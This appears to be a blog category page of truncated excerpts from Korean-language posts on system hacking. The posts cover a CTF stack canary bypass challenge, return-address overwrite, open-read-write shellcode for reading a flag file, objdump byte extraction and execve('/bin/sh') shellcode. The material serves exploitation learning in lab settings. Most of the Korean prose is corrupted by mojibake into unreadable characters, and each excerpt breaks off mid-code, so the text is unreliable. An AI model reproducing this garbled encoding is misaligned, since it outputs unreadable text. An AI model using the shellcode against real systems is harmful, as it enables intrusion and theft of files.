system hacking 7

[System Hacking] ssp_001

Description Stack Smashing Protector ๊ธฐ๋ฒ•์„ ์šฐํšŒํ•˜์—ฌ ์ต์Šคํ”Œ๋กœ์ž‡ํ•ด ์…ธ์„ ํš๋“ํ•œ ํ›„, "flag" ํŒŒ์ผ์„ ์ฝ์œผ์„ธ์š”. ์†Œ์Šค์ฝ”๋“œ: ssp_001.c #include #include #include #include void alarm_handler() { puts("TIME OUT"); exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(30); } void get_shell() { system("/bin/sh"); } void print_box(unsigned char *box, int id..

[Stack Canary] Stack Buffer Overflow๋กœ๋ถ€ํ„ฐ Return address๋ฅผ ๋ณดํ˜ธํ•˜๊ธฐ

๋ชฉ์  ์Šคํƒ ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ ๊ณต๊ฒฉ์œผ๋กœ๋ถ€ํ„ฐ return address๋ฅผ ๋ณดํ˜ธํ•˜๊ธฐ ์ž‘๋™ ์›๋ฆฌ ํ•จ์ˆ˜์˜ ํ”„๋กค๋กœ๊ทธ์—์„œ: ์Šคํƒ ๋ฒ„ํผ์™€ ๋ฐ˜ํ™˜ ์ฃผ์†Œ ์‚ฌ์ด์— ์ž„์˜์˜ ๊ฐ’ (= ์ฆ‰ Canary)์„ ์‚ฝ์ž… ๊ทธ ํ›„, ํ•จ์ˆ˜์˜ ์—ํ•„๋กœ๊ทธ์—์„œ: ํ•ด๋‹น ๊ฐ’์˜ ๋ณ€์กฐ๋ฅผ ํ™•์ธ ๋งŒ์•ฝ Canary ๊ฐ’์˜ ๋ณ€์กฐ๊ฐ€ ํ™•์ธ๋˜๋ฉด: ํ”„๋กœ์„ธ์Šค๊ฐ€ ๊ฐ•์ œ ์ข…๋ฃŒ๋จ ๊ณต๊ฒฉ์ž๊ฐ€ ์Šคํƒ ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋ฅผ ํ†ตํ•ด return address๋ฅผ overwriteํ•˜๋Š” ๊ฒฝ์šฐ, ๋งŒ์•ฝ return address ์ด์ „์— canary๊ฐ€ ๋งˆ๋ จ๋ผ ์žˆ๋‹ค๋ฉด, return address overwrite ์ด์ „์— ํ•„์—ฐ์ ์œผ๋กœ canary๊ฐ€ ๋จผ์ € overwrite ๋˜๊ฒ ์ง€์š”. ์ด๋•Œ, ๊ณต๊ฒฉ์ž๋Š” ์ผ๋ฐ˜์ ์œผ๋กœ Canary ๊ฐ’์„ ๋ชจ๋ฅด๋ฏ€๋กœ (๊ณต๊ฒฉ์ž๊ฐ€ ์ด ๊ฐ’์„ ์•Œ์•„๋‚ด๋Š” ํŠน๋ณ„ํ•œ ๊ฒฝ์šฐ๋„ ์žˆ๋Š”๋ฐ ๋‹ค๋ฅธ ๊ธ€์—์„œ ๋‹ค๋ฃจ๊ฒ ์Šต๋‹ˆ๋‹ค), ๊ณต๊ฒฉ ..

[Stack Buffer Overflow] Return Address Overwrite์„ ํ†ตํ•œ ์‹คํ–‰ ํ๋ฆ„ ์กฐ์ž‘

Return Address Overwrite Buffer overflow๋ฅผ ํ†ตํ•ด stack์˜ return address ๊ฐ’์„ ์กฐ์ž‘ํ•˜๋ฉด, ํ”„๋กœ์„ธ์Šค์˜ ์‹คํ–‰ ํ๋ฆ„์„ ์กฐ์ž‘ํ•  ์ˆ˜ ์žˆ๋‹ค. ์ทจ์•ฝ์  ๋ถ„์„ ์ทจ์•ฝ์ ์ด ์žˆ๋Š” ์ฝ”๋“œ: rao.c #include #include void init() { setvbuf(stdin, 0, 2, 0); // setvbuf(FILE ๊ตฌ์กฐ์ฒด์— ๋Œ€ํ•œ ํฌ์ธํ„ฐ, ๋ฒ„ํผ, ๋ฒ„ํผ๋ง ๋ชจ๋“œ, ๋ฒ„ํผ ํฌ๊ธฐ(๋ฐ”์ดํŠธ)) setvbuf(stdout, 0, 2, 0); } void get_shell() { char *cmd = "/bin/sh"; char *args[] = {cmd, NULL}; execve(cmd, args, NULL); } int main() { char buf[0x28]; init(); pr..

[System Hacking] shell_basic: orw๋ฅผ ํ†ตํ•ด flag ํŒŒ์ผ ์–ป๊ธฐ

1. mycode ์–ด์…ˆ๋ธ”๋ฆฌ ์ž‘์„ฑํ•˜๊ธฐ ์ด ๋ฌธ์ œ์—์„œ orw๋ฅผ ํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” ์•„๋ž˜์™€ ๊ฐ™์€ syscall์ด ํ•„์š”ํ•˜๋‹ค. 1. open("/home/shell_basic/flag_name_is_loooooong", RD_ONLY, NULL) 2. read(fd, buf, 0x30) 3. write(1, buf, 0x30) ๋”ฐ๋ผ์„œ ์œ„๋ฅผ ์ˆ˜ํ–‰ํ•˜๋Š” ์–ด์…ˆ๋ธ”๋ฆฌ๋ฅผ ์•„๋ž˜์™€ ๊ฐ™์ด ์ž‘์„ฑํ–ˆ๋‹ค. "/home/shell_basic/flag_name_is_loooooong"์˜ hex๋ฅผ stack์— pushํ•˜๊ธฐ xor rax, rax push rax mov rax, 0x676e6f6f6f6f6f6f push rax mov rax, 0x6c5f73695f656d61 push rax mov rax, 0x6e5f67616c662f63 push ..

[Shellcode] objdump์„ ์ด์šฉํ•œ byte code ์ถ”์ถœ

์˜ˆ์‹œ ์–ด์…ˆ๋ธ”๋ฆฌ ์ฝ”๋“œ (shellcode.asm)์˜ byte code๋ฅผ ์ถ”์ถœํ•ด๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค. shellcode.asm section .text global _start _start: xor eax, eax push eax push 0x68732f2f push 0x6e69622f mov ebx, esp xor ecx, ecx xor edx, edx mov al, 0xb int 0x80 1. nasm ์„ค์น˜ sudo apt-get install nasm 2. shellcode.o ์ƒ์„ฑ nasm -f elf shellcode.asm 3. shellcode.o ํŒŒ์ผ์„ ์–ด์…ˆ๋ธ”๋ฆฌ ์–ธ์–ด๋กœ ๋ณ€ํ™˜ํ•˜์—ฌ ์ถœ๋ ฅ objdump -d shellcode.o 4. shellcode.bin ์ƒ์„ฑ objcopy --dump-section .t..

[Shellcode] execve

๋ชฉ์  execve ์…ธ์ฝ”๋“œ๋ฅผ ์ด์šฉํ•˜๋ฉด ์ž„์˜์˜ ํ”„๋กœ๊ทธ๋žจ์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋Š”๋ฐ์š”, ๋งŒ์•ฝ ๊ทธ๊ฒƒ์ด ์…ธ ํ”„๋กœ๊ทธ๋žจ์ด๋ผ๋ฉด, ์„œ๋ฒ„์˜ ์…ธ์„ ํš๋“ํ•œ ๊ฒƒ์ด๋ฏ€๋กœ, ์„œ๋ฒ„์˜ ์‹œ์Šคํ…œ์„ ์ œ์–ดํ•จ์œผ๋กœ์จ ์‹œ์Šคํ…œ ํ•ดํ‚น์„ ์„ฑ๊ณตํ•œ ๊ฒƒ์ด ๋ฉ๋‹ˆ๋‹ค. โ€ป ์…ธ(Shell): ์šด์˜์ฒด์ œ์— ๋ช…๋ น์„ ๋‚ด๋ฆฌ๊ธฐ ์œ„ํ•ด ์‚ฌ์šฉ๋˜๋Š” ์‚ฌ์šฉ์ž์˜ ์ธํ„ฐํŽ˜์ด์Šค ๋ฐฉ๋ฒ• 1. execve ์…ธ์ฝ”๋“œ ์ž‘์„ฑ linux์˜ ๋‹ค์–‘ํ•œ ์…ธ ํ”„๋กœ๊ทธ๋žจ ์ค‘ ๊ธฐ๋ณธ์ธ /bin/sh๋ฅผ ์‹คํ–‰ํ•˜๋Š” execve ์…ธ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•ด๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค. execve ์…ธ์ฝ”๋“œ๋Š” ์Šค์ผˆ๋ ˆํ†ค ์ฝ”๋“œ (C์–ธ์–ด๋กœ ์ž‘์„ฑ๋จ) + ์…ธ์ฝ”๋“œ (์–ด์…ˆ๋ธ”๋ฆฌ) ์˜ ๊ตฌ์กฐ์ž…๋‹ˆ๋‹ค. ์Šค์ผˆ๋ ˆํ†ค ์ฝ”๋“œ __asm__( ".global run_sh\n" // C์—์„œ run_sh์— ์ ‘๊ทผ ๊ฐ€๋Šฅํ•˜๋„๋ก global๋กœ ์„ค์ • "run_sh:\n" // ์•„๋ž˜ ์–ด์…ˆ๋ธ”๋ฆฌ ์ฝ”๋“œ๋Š” ์˜ˆ์‹œ์ด๋ฉฐ, ๊ฐ l..

[Shellcode] orw: open-read-write

๋ชฉ์  ๊ณต๊ฒฉ ๋Œ€์ƒ์ด ๋˜๋Š” ์‹œ์Šคํ…œ์˜ ํŒŒ์ผ์„ ์œ ์ถœํ•ด ๋‚ด๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ๋ฐฉ๋ฒ• ์•„๋ž˜๋Š” linux ํ™˜๊ฒฝ์—์„œ ์ง„ํ–‰ํ•œ ๊ฒƒ์ž…๋‹ˆ๋‹ค. 0. ๊ณต๊ฒฉ ๋Œ€์ƒ์ด ๋  ํŒŒ์ผ ์ž‘์„ฑ ์‹ค์Šต์„ ์œ„ํ•œ ์˜ˆ์‹œ์ž…๋‹ˆ๋‹ค. echo 'flag{this_is_open_read_write_shellcode!}' > /tmp/flag 1. orw ์…ธ์ฝ”๋“œ ์ž‘์„ฑ “/tmp/flag” ํŒŒ์ผ์„ ์ฝ๋Š” orw ์…ธ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•ด ๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค. orw ์…ธ์ฝ”๋“œ๋Š” ์Šค์ผˆ๋ ˆํ†ค ์ฝ”๋“œ (C์–ธ์–ด๋กœ ์ž‘์„ฑ๋จ) + ์…ธ์ฝ”๋“œ (์–ด์…ˆ๋ธ”๋ฆฌ) ์˜ ๊ตฌ์กฐ์ž…๋‹ˆ๋‹ค. ์Šค์ผˆ๋ ˆํ†ค ์ฝ”๋“œ __asm__( ".global run_sh\n" // C์—์„œ run_sh์— ์ ‘๊ทผ ๊ฐ€๋Šฅํ•˜๋„๋ก global๋กœ ์„ค์ • "run_sh:\n" // ์•„๋ž˜ ์–ด์…ˆ๋ธ”๋ฆฌ ์ฝ”๋“œ๋Š” ์˜ˆ์‹œ์ด๋ฉฐ, ๊ฐ line์€ \n์œผ๋กœ ๊ตฌ๋ถ„๋˜์–ด์•ผ ํ•จ "xor rdi, rdi\n..